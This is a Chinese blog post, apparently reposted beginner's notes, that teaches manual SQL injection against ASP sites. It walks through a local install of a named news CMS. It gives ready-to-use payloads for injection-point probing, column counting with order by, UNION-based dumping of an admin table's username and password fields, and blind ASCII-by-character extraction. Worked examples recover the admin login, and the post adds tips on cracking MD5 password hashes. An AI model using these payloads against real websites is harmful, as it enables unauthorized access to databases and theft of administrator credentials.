SQL手工注入的学习总结

来源:互联网 发布:2017年大数据发展报告 编辑:程序博客网 时间:2024/05/01 04:40
sql手工注入有两种,第一种是union联合查询,第二种是Ascii逐字解码法

union联合查询语句如下:

首先判断一个网站有没有注入点的语句是  加单引号 ' 或 and 1=1 和and 1=2
and 1=1 网站返回正常,and 1=2 网站返回错误,证明有可能存在注入点
order by语句来查询数据库中存在多少数据表,如果order by 11返回正常 12 返回错误 那么数据表就是11
得到数据表的个数后,接着来用 and 1=2 union select 1,2,3,4,5,6,7,8,9,10 ,11 from 表名 (如admin) 如果

返回的网站页面是一个一个的数字如下图

那么就说明存在admin这个表,如果出现错误就说明不存在admin表(也有可能是你语句输错了 认真点哦),就需要换表名了,说是猜,就是猜,慢慢猜了~,接着 看到了图中我用红色矩形框,框住的数字,它所对应的就是 3 4 8 10 在1,2,3,4,5,6,7,8,9,10,11 里面把  3  4 8 10 替换成admin表里存储网站管理员账号和密码的字段,如user  ,pwd  替换后就变成了 这样的 语句  and 1=2 union select 1,2,3,4,5,6,7,user,9,pwd,11 from admin 如下图所示

之前的8 和10 都被替换成了admin admin 是因为这个网站后台的用户名和密码默认的就是admin,这样管理员的帐户和密码就被我们爆了出来。 有时候密码会是md5加密的需要去一些md5的网站解密,也有时候是雷池加密,雷池加密的很像明文,如果你登录一个后台半天都上不去,说明这个密码就有可能是雷池加密的哦

还有说一句,手工注入之前要先找到后台,不然很累很累的弄完了,发现找不到后台。会很失望的!

union联合查询的方法就介绍到这 下面介绍一种比较复杂的sql手工注入

---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
第一步-猜表名

and (select count(*) from 表名) >=0

栗子 and (select count(*) from admin) >=0 网页返回正常 说明存在admin这个表,返回不正常,你懂的~接着猜

第二步-猜字段

and (select count(字段名) from 上行语句猜到的表名)>=0

栗子 and (select count (user) from admin ) >=0 网页返回正常  说明存在user这个字段,返回不正常 ~~~~~~接着猜

第三步-猜字段的位数

and (select top 1 len (字段) from 表名) >0

栗子 and (select top 1 len (user) from admin) >4 返回正常 >5 返回错误,想想 一个数字大于4小于5是什么?没错就是5! 比如栗子中的这个网站,user字段的内容就是admin

数一数是不是5位呢?

第四步 猜Ascii码的字段值(不懂Ascii码的可以百度,了解一些就可以了)

and (select top 1 asc (mid (字段,位数,1)) from 表名) >ascii(1~128)

栗子 and (select top 1asc (mid (user,1,1)) from admin) >96 返回正常 97返回错误 那么这个user表里面的第一个ascii码就是97了 ascii码对应的就是字母a

user字段里面的第一位已经被猜出来了 是a 对应的ascii码是97

接着猜第二位

and (select top 1asc (mid (user,2,1)) from admin) >99 返回正常 100返回错误 ascii码为100

100对应的是字母d

接着猜第三位

and (select top 1asc (mid (user,3,1)) from admin) >108 返回正常 109 返回错误 ascii码为109

109对应的是字母m

接着猜第四位

and (select top 1asc (mid (user,4,1)) from admin) >104 返回正常 105返回错误 ascii码是105

105对应的是字母i

接着猜第五位

and (select top 1asc (mid (user,5,1)) from admin) >109 返回正常 110返回错误 ascii码为110

110对应的是字母n

---------------------------------

Ascii:97 100 109 105 110

对应的字母:  a     d       m      i     n

------------------------------------------------

user字段猜完了开始猜pwd字段也就是网站后台的密码

and (select top 1 asc (mid (pwd,1,1)) from admn) >ascii(1——128)

和猜user字段里的内容是一样的,把字段替换成pwd ,然后在猜的时候替换要猜解的位数,和ascii码,关于ascii码,猜的时候是有一些技巧的,我也不太明白,是凭感觉的缩小猜解的范围.

以上就是我读sql手工注入语句的学习笔记,和经验

我在此文章中使用的网站源程序是:

三峡新闻在线系统V1.1 附上百度云盘链接:http://pan.baidu.com/s/1qWNwFvA

asp环境是小旋风asp服务器 : 这个可以百度下载,百度云分享不了说有病毒。。。

浏览器是火狐浏览器,里面的有个插件叫做hackbar很不错,特别是用来手工注入的时候,大家有的人在浏览器的url里面直接注入 url里会产生一堆转义符号 影响了注入的效率

然后关于sql注入的知识,如果我写的有不足的,和不好的,欢迎大家来吐槽。O(∩_∩)O 我也是一个新手,也在不断的努力。技术的高低只是时间的问题、没有什么可以鄙视的!加油!





0 0
原创粉丝点击